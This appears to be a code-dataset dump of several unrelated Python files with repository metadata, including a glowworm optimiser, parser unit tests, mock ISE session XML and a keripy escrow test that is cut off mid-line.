\n\routput_shapes\022\013list(shape)(\0010\001\210\001\001\n\213\001\n\037ExperimentalLatencyStatsDataset\022\021\n\rinput_dataset\030\025\022\007\n\003tag\030\007\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n\245\002\n\036ExperimentalMapAndBatchDataset\022\021\n\rinput_dataset\030\025\022\035\n\017other_arguments2\nTarguments\022\016\n\nbatch_size\030\t\022\026\n\022num_parallel_calls\030\t\022\022\n\016drop_remainder\030\n\032\n\n\006handle\030\025\"\t\n\001f\022\004func\"\032\n\nTarguments\022\nlist(type)(\001\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\" \n\024preserve_cardinality\022\004bool\032\002(\000\n\207\002\n\026ExperimentalMapDataset\022\021\n\rinput_dataset\030\025\022\035\n\017other_arguments2\nTarguments\032\n\n\006handle\030\025\"\t\n\001f\022\004func\"\032\n\nTarguments\022\nlist(type)(\001\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\"$\n\030use_inter_op_parallelism\022\004bool\032\002(\001\" \n\024preserve_cardinality\022\004bool\032\002(\000\n?\n ExperimentalMatchingFilesDataset\022\014\n\010patterns\030\007\032\n\n\006handle\030\025\210\001\001\n\251\001\n*ExperimentalMaterializedIndexDatasetHandle\032\n\n\006handle\030\024\"\023\n\tcontainer\022\006string\"\025\n\013shared_name\022\006string\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\210\001\001\n\251\001\n(ExperimentalMaxIntraOpParallelismDataset\022\021\n\rinput_dataset\030\025\022\034\n\030max_intra_op_parallelism\030\t\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n\205\001\n\"ExperimentalNonSerializableDataset\022\021\n\rinput_dataset\030\025\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n\251\002\n\"ExperimentalNumaMapAndBatchDataset\022\021\n\rinput_dataset\030\025\022\035\n\017other_arguments2\nTarguments\022\016\n\nbatch_size\030\t\022\026\n\022num_parallel_calls\030\t\022\022\n\016drop_remainder\030\n\032\n\n\006handle\030\025\"\t\n\001f\022\004func\"\032\n\nTarguments\022\nlist(type)(\001\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\" \n\024preserve_cardinality\022\004bool\032\002(\000\n\267\002\n%ExperimentalParallelInterleaveDataset\022\021\n\rinput_dataset\030\025\022\035\n\017other_arguments2\nTarguments\022\020\n\014cycle_length\030\t\022\020\n\014block_length\030\t\022\n\n\006sloppy\030\n\022\032\n\026buffer_output_elements\030\t\022\033\n\027prefetch_input_elements\030\t\032\n\n\006handle\030\025\"\t\n\001f\022\004func\"\032\n\nTarguments\022\nlist(type)(\001\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n\354\002\n\037ExperimentalParseExampleDataset\022\021\n\rinput_dataset\030\025\022\026\n\022num_parallel_calls\030\t\022\030\n\016dense_defaults2\006Tdense\032\n\n\006handle\030\025\"\035\n\013sparse_keys\022\014list(string)(\001\"\034\n\ndense_keys\022\014list(string)(\001\"%\n\014sparse_types\022\nlist(type)(\001:\007\n\0052\003\001\t\007\"\037\n\006Tdense\022\nlist(type)(\001:\007\n\0052\003\001\t\007\"\035\n\014dense_shapes\022\013list(shape)(\001\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\"\022\n\006sloppy\022\004bool\032\002(\000\n\230\001\n$ExperimentalPrivateThreadPoolDataset\022\021\n\rinput_dataset\030\025\022\017\n\013num_threads\030\t\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n\201\001\n\031ExperimentalRandomDataset\022\010\n\004seed\030\t\022\t\n\005seed2\030\t\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\210\001\001\n\216\001\n\032ExperimentalRebatchDataset\022\021\n\rinput_dataset\030\025\022\017\n\013num_workers\030\t\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n\225\002\n\027ExperimentalScanDataset\022\021\n\rinput_dataset\030\025\022\027\n\rinitial_state2\006Tstate\022\035\n\017other_arguments2\nTarguments\032\n\n\006handle\030\025\"\t\n\001f\022\004func\"\030\n\006Tstate\022\nlist(type)(\0010\001\"\032\n\nTarguments\022\nlist(type)(\001\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\" \n\024preserve_cardinality\022\004bool\032\002(\000\n\276\001\n%ExperimentalSetStatsAggregatorDataset\022\021\n\rinput_dataset\030\025\022\024\n\020stats_aggregator\030\024\022\007\n\003tag\030\007\022\022\n\016counter_prefix\030\007\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\210\001\001\n\223\001\n\030ExperimentalSleepDataset\022\021\n\rinput_dataset\030\025\022\026\n\022sleep_microseconds\030\t\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n\271\001\n ExperimentalSlidingWindowDataset\022\021\n\rinput_dataset\030\025\022\017\n\013window_size\030\t\022\020\n\014window_shift\030\t\022\021\n\rwindow_stride\030\t\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n\233\001\n\026ExperimentalSqlDataset\022\017\n\013driver_name\030\007\022\024\n\020data_source_name\030\007\022\t\n\005query\030\007\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\210\001\001\nf\n!ExperimentalStatsAggregatorHandle\032\n\n\006handle\030\024\"\027\n\tcontainer\022\006string\032\002\022\000\"\031\n\013shared_name\022\006string\032\002\022\000\210\001\001\nB\n\"ExperimentalStatsAggregatorSummary\022\014\n\010iterator\030\024\032\013\n\007summary\030\007\210\001\001\n\315\001\n\034ExperimentalTakeWhileDataset\022\021\n\rinput_dataset\030\025\022\035\n\017other_arguments2\nTarguments\032\n\n\006handle\030\025\"\021\n\tpredicate\022\004func\"\032\n\nTarguments\022\nlist(type)(\001\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n\224\001\n\035ExperimentalThreadPoolDataset\022\021\n\rinput_dataset\030\025\022\017\n\013thread_pool\030\024\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\210\001\001\n\262\001\n\034ExperimentalThreadPoolHandle\032\n\n\006handle\030\024\"\022\n\013num_threads\022\003int\"#\n\030max_intra_op_parallelism\022\003int\032\002\030\001\"\026\n\014display_name\022\006string\"\027\n\tcontainer\022\006string\032\002\022\000\"\031\n\013shared_name\022\006string\032\002\022\000\210\001\001\n}\n\032ExperimentalUnbatchDataset\022\021\n\rinput_dataset\030\025\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n|\n\031ExperimentalUniqueDataset\022\021\n\rinput_dataset\030\025\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n\221\001\n\017SamplingDataset\022\021\n\rinput_dataset\030\025\022\010\n\004rate\030\001\022\010\n\004seed\030\t\022\t\n\005seed2\030\t\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n|\n\017SnapshotDataset\022\021\n\rinput_dataset\030\025\022\010\n\004path\030\007\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n\\\n\027StatsAggregatorHandleV2\032\n\n\006handle\030\024\"\027\n\tcontainer\022\006string\032\002\022\000\"\031\n\013shared_name\022\006string\032\002\022\000\210\001\001\nG\n\037StatsAggregatorSetSummaryWriter\022\024\n\020stats_aggregator\030\024\022\013\n\007summary\030\024\210\001\001")

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183834a31e55e0383d4cd646977e238c96accdca

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py

Python

Optimization_Methods/GlowWorm.py

Skeftical/SuRF-Reproducibility

589096b2caa4f173a00f617dd083a042e7b27f5b

[ "MIT" ]

null

Optimization_Methods/GlowWorm.py

Skeftical/SuRF-Reproducibility

589096b2caa4f173a00f617dd083a042e7b27f5b

[ "MIT" ]

null

Optimization_Methods/GlowWorm.py

Skeftical/SuRF-Reproducibility

589096b2caa4f173a00f617dd083a042e7b27f5b

[ "MIT" ]

null

import numpy as np import time class GlowWorm(): def _adapt_radius(self,rd, N): return min(self.rs, max(0, rd + self.beta* (self.nt - len(N)) ) ) def _move(self,xi, xj): xj = xj.reshape(1,-1) xi = xi.reshape(1,-1) return xi + self.s*((xj-xi)/np.linalg.norm(xj-xi) ) def _probability_of_moving(self,lj, li, sN): loss = lj-li return loss/sN def _return_neighbourhood(self,x, rd, l, i): ix = (np.linalg.norm(self.X-x,axis=1)<rd) & (l<self.L) ix[i] = False return np.nonzero(ix)[0]#returns tuple of arrays def _luciferin_update(self,l, x): return (1-self.rho)*l+self.gamma*self.opt_func(x.reshape(1,-1)) def optimize(self): for k in range(self.iter_max): #Luciferin update phase if self.time_capture: start = time.time() for i in range(self.L.shape[0]): self.L[i]= self._luciferin_update(self.L[i],self.X[i]) if self.time_capture: end = time.time() - start self.SUM_TIME += end #Prune away invalid glowworms if self.prune and k==0: valid = self.L!=-np.inf self.X = self.X[valid] self.R = self.R[valid] self.L = self.L[valid] #Movement phase for i in range(self.X.shape[0]): N = self._return_neighbourhood(self.X[i], self.R[i], self.L[i], i) max_ = None max_j = None if len(N) == 0: #First adapt its radius so that it won't die out. self.R[i] = self._adapt_radius(self.R[i], N) # print('Worm {0} has no neighbours'.format(i)) continue; for j in N: sN = np.sum(self.L[N]-self.L[i]) pij = self._probability_of_moving(self.L[j], self.L[i], sN) if max_ is None or pij>max_: max_j = j max_ = pij self.X[i] = self._move(self.X[i], self.X[max_j]) self.R[i] = self._adapt_radius(self.R[i], N) if self.trace: self.history = np.column_stack((self.history, self.X)) return self.X def __init__(self,opt_func, dimensions=1, glowworms=50, s=0.03, r0=2, iter_max=100, rho=0.4,gamma=0.6,beta=0.08,nt=5, search_space=(0,1), log_trace=False, prune=False, time_capture=False): ''' GlowWorm for multi-modal optimization args : ---------------------- opt_func : callable optimization function, has to accept an input parameter dimensions : [int] Number of dimensions glowworms : [int] Number of particles s : float Step size r0 : float Initial neighbourhood size iter_max : int Maximum number of iterations rho : float Luciferin decay constant gamma : float Luciferin enhancement constant beta : float Neighbourhood discount search_space : tuple \in R^d Search space across all dimensions log_trace : boolean Logs the path of glowworms for debugging. The paths are then available through self.history. Feature is disabled for over 2-d ''' DIMENSIONS = dimensions GLOWWORMS = glowworms self.opt_func = opt_func self.s = s self.r0 = r0 self.X = np.zeros((GLOWWORMS,DIMENSIONS)) random_positions = np.random.uniform(low=search_space[0], high=search_space[1], size=(GLOWWORMS,DIMENSIONS)) self.X+=random_positions self.L = np.zeros(GLOWWORMS)+5 self.R = np.ones(GLOWWORMS)*r0 self.iter_max = iter_max #Constants self.rho = rho #lucifering decay self.gamma = gamma #lucifering enhancement self.beta = beta self.nt = nt self.rs = r0 self.trace = False self.prune = prune self.time_capture = time_capture self.SUM_TIME = 0 if log_trace==True: self.trace = True self.history = self.X class GlowWormDensity(): def _adapt_radius(self,rd, N): return min(self.rs, max(0, rd + self.beta* (self.nt - len(N)) ) ) def _move(self,xi, xj): xj = xj.reshape(1,-1) xi = xi.reshape(1,-1) return xi + self.s*((xj-xi)/np.linalg.norm(xj-xi) ) def _probability_of_moving(self,lj, li, sN): loss = lj-li return loss/sN def _return_neighbourhood(self,x, rd, l, i): ix = (np.linalg.norm(self.X-x,axis=1)<rd) & (l<self.L) ix[i] = False return np.nonzero(ix)[0]#returns tuple of arrays def _luciferin_update(self,l, x): return (1-self.rho)*l+self.gamma*self.opt_func(x.reshape(1,-1)) def optimize(self): for k in range(self.iter_max): #Luciferin update phase for i in range(self.L.shape[0]): self.L[i]= self._luciferin_update(self.L[i],self.X[i]) #Movement phase for i in range(self.X.shape[0]): N = self._return_neighbourhood(self.X[i], self.R[i], self.L[i], i) max_ = None max_j = None if len(N) == 0: #First adapt its radius so that it won't die out. self.R[i] = self._adapt_radius(self.R[i], N) # print('Worm {0} has no neighbours'.format(i)) continue; for j in N: sN = np.sum(self.L[N]-self.L[i]) if self.probx is not None: pij = self._probability_of_moving(self.L[j], self.L[i], sN)*float(self.probx(self.X[j])) else: pij = self._probability_of_moving(self.L[j], self.L[i], sN) if max_ is None or pij>max_: max_j = j max_ = pij self.X[i] = self._move(self.X[i], self.X[max_j]) if self.trace: self.history = np.column_stack((self.history, self.X)) self.R[i] = self._adapt_radius(self.R[i], N) return self.X def __init__(self,opt_func, dimensions=1, glowworms=50, s=0.03, r0=2,iter_max=100, rho=0.4,gamma=0.6,beta=0.08,nt=5, search_space=(0,1), log_trace=False, probx=None): ''' GlowWorm for multi-modal optimization args : ---------------------- opt_func : callable optimization function, has to accept an input parameter dimensions : [int] Number of dimensions glowworms : [int] Number of particles s : float Step size r0 : float Initial neighbourhood size iter_max : int Maximum number of iterations rho : float Luciferin decay constant gamma : float Luciferin enhancement constant beta : float Neighbourhood discount search_space : tuple \in R^d Search space across all dimensions log_trace : boolean Logs the path of glowworms for debugging. The paths are then available through self.history. Feature is disabled for over 2-d ''' DIMENSIONS = dimensions GLOWWORMS = glowworms self.opt_func = opt_func self.s = 0.03 self.r0 = r0 self.X = np.zeros((GLOWWORMS,DIMENSIONS)) random_positions = np.random.uniform(low=search_space[0], high=search_space[1], size=(GLOWWORMS,DIMENSIONS)) self.X+=random_positions self.L = np.zeros(GLOWWORMS)+5 self.R = np.ones(GLOWWORMS)*r0 self.iter_max = iter_max #Constants self.rho = 0.4 #lucifering decay self.gamma = 0.6 #lucifering enhancement self.beta = 0.08 self.nt = 5 self.rs = self.r0 self.trace = False if dimensions==2 and log_trace==True: self.trace = True self.history = self.X self.probx = probx

37.420354

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null

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1

0

1

0

null

0

7

187b4be1e6f2d3982a2964b04d58f6067948143e

290

py

Python

siamese-net/config.py

Nikdevelop/siamese_net

1a40bc56184c76a85f2d10054a358a3c9821a87f

[ "MIT" ]

27

2020-10-20T10:06:04.000Z

2022-03-04T16:42:56.000Z

siamese-net/config.py

Nikdevelop/siamese_net

1a40bc56184c76a85f2d10054a358a3c9821a87f

[ "MIT" ]

4

2021-06-27T09:23:26.000Z

2022-02-01T14:58:49.000Z

siamese-net/config.py

Nikdevelop/siamese_net

1a40bc56184c76a85f2d10054a358a3c9821a87f

[ "MIT" ]

12

2020-10-02T18:05:51.000Z

2022-02-06T17:25:33.000Z

training_dir = "/content/drive/My Drive/data/sign_data/train" training_csv = "/content/drive/My Drive/data/sign_data/train_data.csv" testing_csv = "/content/drive/My Drive/data/sign_data/test_data.csv" testing_dir = "/content/drive/My Drive/data/sign_data/test" batch_size = 32 epochs = 20

41.428571

70

0.786207

49

290

4.428571

0.326531

0.221198

0.258065

0.35023

0.709677

0

0.014925

0.075862

290

6

71

48.333333

0.794776

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0.662069

0.413793

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false

0

null

1

0

1

0

1

0

1

null

0

9

a13655df17b7fcd607fc65bf6c003511463dea2e

247

py

Python

cqi_cpp/src/wrapper/__init__.py

AMR-/Conservative-Q-Improvement

f9d47b33fe757475d3216d3c406d147206738c90

[ "MIT" ]

null

cqi_cpp/src/wrapper/__init__.py

AMR-/Conservative-Q-Improvement

f9d47b33fe757475d3216d3c406d147206738c90

[ "MIT" ]

null

cqi_cpp/src/wrapper/__init__.py

AMR-/Conservative-Q-Improvement

f9d47b33fe757475d3216d3c406d147206738c90

[ "MIT" ]

null

from cqi_cpp.src.wrapper.qtree_wrapper import PyQTree from cqi_cpp.src.wrapper.qtree_wrapper import PyBox as Box from cqi_cpp.src.wrapper.qtree_wrapper import PyDiscrete as Discrete from cqi_cpp.src.wrapper.qtree_wrapper import PyVector as Vector

49.4

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0.862348

42

247

4.880952

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0.195122

0.253659

0.741463

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247

4

69

61.75

0.911111

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true

0

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null

0

1

0

1

0

1

0

9

a13c8c507331e73e19ff5cc6adf8284db751763c

198

py

Python

wtoolzargs/common/utils.py

e-k-m/wtoolzargs

edd1e932852aee1e8b56eb8e09739b7f48c638b6

[ "MIT" ]

null

wtoolzargs/common/utils.py

e-k-m/wtoolzargs

edd1e932852aee1e8b56eb8e09739b7f48c638b6

[ "MIT" ]

null

wtoolzargs/common/utils.py

e-k-m/wtoolzargs

edd1e932852aee1e8b56eb8e09739b7f48c638b6

[ "MIT" ]

null

class StringBuilder(object): def __init__(self, s=""): self.s = s def append(self, s): self.s = self.s + s return self def __str__(self): return self.s

18

29

0.535354

27

198

3.62963

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0.306122

0.27551

0.306122

0.22449

0

0.343434

198

10

30

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0.753846

0

1

0.375

false

0

0.125

0.75

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0

null

1

0

null

0

1

0

1

0

7

a1a90367560c293edac4dd02517185f9a3126fbd

3,074

py

Python

tests/test_parser/test_module.py

vbondarevsky/ones_analyzer

ab8bff875192db238ed17c20d61c9fa5b55c3fa8

[ "MIT" ]

12

2017-11-23T07:04:13.000Z

2022-03-01T21:06:56.000Z

tests/test_parser/test_module.py

vbondarevsky/analyzer_test

ab8bff875192db238ed17c20d61c9fa5b55c3fa8

[ "MIT" ]

2

2017-06-25T21:32:32.000Z

2017-11-19T19:05:40.000Z

tests/test_parser/test_module.py

vbondarevsky/analyzer_test

ab8bff875192db238ed17c20d61c9fa5b55c3fa8

[ "MIT" ]

5

2017-11-21T08:24:56.000Z

2021-08-17T23:21:18.000Z

from analyzer.syntax_kind import SyntaxKind from tests.utils import TestCaseParser class TestParserModule(TestCaseParser): def test_empty(self): self.parse_source("") self.assertNode(self.syntax_tree.declarations, []) self.assertNode(self.syntax_tree.methods, []) self.assertNode(self.syntax_tree.statements, []) def test_declarations(self): self.parse_source("Перем А") self.assertNode(self.syntax_tree.declarations, [SyntaxKind.VariableDeclaration]) self.assertNode(self.syntax_tree.methods, []) self.assertNode(self.syntax_tree.statements, []) def test_methods(self): code = \ """Процедура МояПроцедура() КонецПроцедуры Функция МояФункция() КонецФункции""" self.parse_source(code) self.assertNode(self.syntax_tree.declarations, []) self.assertNode(self.syntax_tree.methods, [SyntaxKind.ProcedureBlock, SyntaxKind.FunctionBlock]) self.assertNode(self.syntax_tree.statements, []) def test_statements(self): self.parse_source("А=8+2;") self.assertNode(self.syntax_tree.declarations, []) self.assertNode(self.syntax_tree.methods, []) self.assertNode(self.syntax_tree.statements, [SyntaxKind.ExpressionStatement]) self.assertNode(self.syntax_tree.statements[0].semicolon_token, SyntaxKind.SemicolonToken) def test_declarations_and_methods(self): code = \ """Перем А; Процедура МояПроцедура() КонецПроцедуры""" self.parse_source(code) self.assertNode(self.syntax_tree.declarations, [SyntaxKind.VariableDeclaration]) self.assertNode(self.syntax_tree.methods, [SyntaxKind.ProcedureBlock]) self.assertNode(self.syntax_tree.statements, []) def test_declarations_and_statements(self): code = \ """Перем А; А=8""" self.parse_source(code) self.assertNode(self.syntax_tree.declarations, [SyntaxKind.VariableDeclaration]) self.assertNode(self.syntax_tree.methods, []) self.assertNode(self.syntax_tree.statements, [SyntaxKind.ExpressionStatement]) def test_methods_and_statements(self): code = \ """Процедура МояПроцедура() КонецПроцедуры А=8""" self.parse_source(code) self.assertNode(self.syntax_tree.declarations, []) self.assertNode(self.syntax_tree.methods, [SyntaxKind.ProcedureBlock]) self.assertNode(self.syntax_tree.statements, [SyntaxKind.ExpressionStatement]) def test_declarations_and_methods_and_statements(self): code = \ """Перем А; Процедура МояПроцедура() КонецПроцедуры А=8""" self.parse_source(code) self.assertNode(self.syntax_tree.declarations, [SyntaxKind.VariableDeclaration]) self.assertNode(self.syntax_tree.methods, [SyntaxKind.ProcedureBlock]) self.assertNode(self.syntax_tree.statements, [SyntaxKind.ExpressionStatement])

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3,074

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0.17284

0.222222

0.296296

0.855309

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0.756543

0.725432

0.70321

0.687901

0

0.002488

0.215355

3,074

74

105

41.540541

0.837065

0

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1

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false

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0.22449

0

null

0

1

0

null

0

1

0

9

a1ff629a976514830820808e4c2bf18ea78653d8

175

py

Python

utilities/prev_projects/DATAFIT/VIEW/CANVAS/__init__.py

Saldenisov/pyconlyse

1de301b4a4c15ee0bd19034aa8d5da1beacfd124

[ "MIT" ]

null

utilities/prev_projects/DATAFIT/VIEW/CANVAS/__init__.py

Saldenisov/pyconlyse

1de301b4a4c15ee0bd19034aa8d5da1beacfd124

[ "MIT" ]

null

utilities/prev_projects/DATAFIT/VIEW/CANVAS/__init__.py

Saldenisov/pyconlyse

1de301b4a4c15ee0bd19034aa8d5da1beacfd124

[ "MIT" ]

null

from .MyMplCanvas import * from .MyMplCanvas import MyMplCanvas from .DataCanvas import * from .FitCanvas import * from .KineticsCanvas import * from .SpectrumCanvas import *

25

36

0.8

19

175

7.368421

0.368421

0.285714

0.3

0

0.137143

175

6

37

29.166667

0.927152

0

1

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true

0

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null

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1

0

1

0

7

62a8ed0ff1849e2b2cd20eddae9aef290321d76a

71,710

py

Python

api/activelist.py

kecorbin/isemon

af4ac5ab70c61733ef20b793d390ca8bfa0c800d

[ "MIT" ]

3

2018-08-21T21:45:22.000Z

2021-01-07T03:16:54.000Z

api/activelist.py

kecorbin/isemon

af4ac5ab70c61733ef20b793d390ca8bfa0c800d

[ "MIT" ]

1

2021-12-13T19:46:27.000Z

api/activelist.py

kecorbin/isemon

af4ac5ab70c61733ef20b793d390ca8bfa0c800d

[ "MIT" ]

1

2018-09-12T16:10:14.000Z

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>10.0.1.3</framed_ip_address><framed_ipv6_address/></activeSession><activeSession><user_name>guest4623</user_name><calling_station_id>E5:70:0A:12:2B:B7</calling_station_id><nas_ip_address>198.18.134.139</nas_ip_address><acct_session_id>00000041</acct_session_id><server>web</server><framed_ip_address>10.0.1.3</framed_ip_address><framed_ipv6_address/></activeSession><activeSession><user_name>guest9247</user_name><calling_station_id>C2:13:1A:88:DD:90</calling_station_id><nas_ip_address>198.18.134.139</nas_ip_address><acct_session_id>00000030</acct_session_id><server>web</server><framed_ip_address>10.0.1.39</framed_ip_address><framed_ipv6_address/></activeSession><activeSession><user_name>guest3337</user_name><calling_station_id>DF:10:8B:F6:F0:B1</calling_station_id><nas_ip_address>198.18.134.139</nas_ip_address><acct_session_id>00000011</acct_session_id><server>web</server><framed_ip_address>10.0.1.22</framed_ip_address><framed_ipv6_address/></activeSession><activeSession><user_name>guest9255</user_name><calling_station_id>92:EC:CB:3F:C9:E9</calling_station_id><nas_ip_address>198.18.134.139</nas_ip_address><acct_session_id>00000028</acct_session_id><server>web</server><framed_ip_address>10.0.1.8</framed_ip_address><framed_ipv6_address/></activeSession><activeSession><user_name>guest8989</user_name><calling_station_id>63:C6:05:25:A4:55</calling_station_id><nas_ip_address>198.18.134.139</nas_ip_address><acct_session_id>00000022</acct_session_id><server>web</server><framed_ip_address>10.0.1.12</framed_ip_address><framed_ipv6_address/></activeSession></activeList> """ def sample_authlist(): return xmlstr

8,963.75

71,662

0.821977

13,279

71,710

4.098426

0.034415

0.162064

0.144057

0.099039

0.972126

0.970362

0.929772

0.929037

0.862889

0.79946

0

0.131033

0.000251

71,710

7

71,663

10,244.285714

0.62809

0

1

0

0.25

0.999205

0.998661

0

1

0.25

false

0

0.25

0.5

0

null

0

1

0

1

0

1

0

1

null

0

1

0

1

0

15

c51b4b64025985b29616205dfa344fe1e16200a2

61,938

py

Python

tests/core/test_escrow.py

KodexData/keripy

2a6b7883fcb04c29b4ce8f55ebb5d2eb36e24689

[ "Apache-2.0" ]

26

2020-05-18T19:52:33.000Z

2022-03-02T13:58:45.000Z

tests/core/test_escrow.py

KodexData/keripy

2a6b7883fcb04c29b4ce8f55ebb5d2eb36e24689

[ "Apache-2.0" ]

16

2020-08-26T12:53:37.000Z

2021-05-26T15:29:19.000Z

tests/core/test_escrow.py

m00sey/keripy

7bdaf57972d44c2435726bd2300b01a1a90a83b2

[ "Apache-2.0" ]

13

2020-05-05T20:21:26.000Z

2022-03-31T14:11:30.000Z

# -*- encoding: utf-8 -*- """ tests escrows in database primarily logic in Kevery and Kever from keri.core.eventing """ import os import time import datetime import pytest from keri import help from keri.help import helping from keri.db import dbing, basing from keri.app import keeping from keri.core import coring, eventing, parsing logger = help.ogler.getLogger() def test_partial_signed_escrow(): """ Test partially signed escrow """ salt = coring.Salter(raw=b'0123456789abcdef').qb64 # init wes Salter psr = parsing.Parser() # init event DB and keep DB with basing.openDB(name="edy") as db, keeping.openKS(name="edy") as ks: # Init key pair manager mgr = keeping.Manager(keeper=ks, salt=salt) # Init Kevery with event DB kvy = eventing.Kevery(db=db) # create inception event with 3 keys each in incept and next sets # defaults are algo salty and rooted sith = ["1/2", "1/2", "1/2"] # 2 of 3 but with weighted threshold nxtsith = ["1/2", "1/2", "1/2"] verfers, digers, cst, nst = mgr.incept(icount=3, isith=sith, ncount=3, nsith=nxtsith, stem='wes', temp=True) assert cst == nst == sith srdr = eventing.incept(keys=[verfer.qb64 for verfer in verfers], sith=sith, nxt=coring.Nexter(sith=nxtsith, digs=[diger.qb64 for diger in digers]).qb64, code=coring.MtrDex.Blake3_256) pre = srdr.ked["i"] mgr.move(old=verfers[0].qb64, new=pre) # move key pair label to prefix sigers = mgr.sign(ser=srdr.raw, verfers=verfers) msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs) msg.extend(counter.qb64b) msg.extend(sigers[0].qb64b) # apply msg to Kevery to process psr.parse(ims=bytearray(msg), kvy=kvy) # kvy.process(ims=bytearray(msg)) # process local copy of msg assert pre not in kvy.kevers # event not accepted escrows = kvy.db.getPses(dbing.snKey(pre, int(srdr.ked["s"], 16))) assert len(escrows) == 1 assert escrows[0] == srdr.digb # escrow entry for event # verify Kevery process is idempotent to previously escrowed events psr.parse(ims=bytearray(msg), kvy=kvy) # kvy.process(ims=bytearray(msg)) # process local copy of msg assert pre not in kvy.kevers # event not accepted escrows = kvy.db.getPses(dbing.snKey(pre, int(srdr.ked["s"], 16))) assert len(escrows) == 1 assert escrows[0] == srdr.digb # escrow entry for event # verify Kevery process partials escrow is idempotent to previously escrowed events # assuming not stale but nothing else has changed kvy.processEscrowPartialSigs() assert pre not in kvy.kevers # event not accepted escrows = kvy.db.getPses(dbing.snKey(pre, int(srdr.ked["s"], 16))) assert len(escrows) == 1 assert escrows[0] == srdr.digb # escrow entry for event # Send message again but with signature from other siger msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs) msg.extend(counter.qb64b) msg.extend(sigers[2].qb64b) # apply msg to Kevery to process psr.parse(ims=bytearray(msg), kvy=kvy) # kvy.process(ims=bytearray(msg)) # process local copy of msg assert pre not in kvy.kevers # event not accepted escrows = kvy.db.getPses(dbing.snKey(pre, int(srdr.ked["s"], 16))) assert len(escrows) == 1 assert escrows[0] == srdr.digb # escrow entry for event sigs = kvy.db.getSigs(dbing.dgKey(pre, srdr.dig)) # but sigs is more assert len(sigs) == 2 # get DTS set by escrow date time stamp on event edtsb = bytes(kvy.db.getDts(dbing.dgKey(pre, srdr.digb))) # verify Kevery process partials escrow now unescrows correctly given # two signatures and assuming not stale kvy.processEscrowPartialSigs() assert pre in kvy.kevers # event now accepted via escrow kvr = kvy.kevers[pre] # kever created so event was validated assert kvr.prefixer.qb64 == pre assert kvr.serder.dig == srdr.dig # key state updated so event was validated # escrows now empty escrows = kvy.db.getPses(dbing.snKey(pre, int(srdr.ked["s"], 16))) assert len(escrows) == 0 # get DTS set by first seen event acceptance date time stamp adtsb = bytes(kvy.db.getDts(dbing.dgKey(pre, srdr.digb))) # ensure accept time is later than escrow time, default timedelta is zero assert (helping.fromIso8601(adtsb) - helping.fromIso8601(edtsb)) > datetime.timedelta() # send duplicate message with all three sigs msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=len(sigers)) msg.extend(counter.qb64b) for siger in sigers: msg.extend(siger.qb64b) psr.parse(ims=bytearray(msg), kvy=kvy) # kvy.process(ims=bytearray(msg)) # process local copy of msg sigs = kvy.db.getSigs(dbing.dgKey(pre, srdr.dig)) assert len(sigs) == 3 escrows = kvy.db.getPses(dbing.snKey(pre, int(srdr.ked["s"], 16))) assert len(escrows) == 0 # escrow stays gone # get DTS after partial last sig should not change dts from first accepted pdtsb = bytes(kvy.db.getDts(dbing.dgKey(pre, srdr.digb))) assert pdtsb == adtsb # get first seen fsdig = kvy.db.getFe(dbing.fnKey(pre, 0)) assert fsdig == srdr.digb # create interaction event for srdr = eventing.interact(pre=kvr.prefixer.qb64, dig=kvr.serder.diger.qb64, sn=kvr.sn+1, data=[]) sigers = mgr.sign(ser=srdr.raw, verfers=kvr.verfers) msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs) msg.extend(counter.qb64b) msg.extend(sigers[1].qb64b) # apply msg to Kevery to process psr.parse(ims=bytearray(msg), kvy=kvy) # kvy.process(ims=bytearray(msg)) # process local copy of msg assert kvr.sn == 0 # key state not updated escrows = 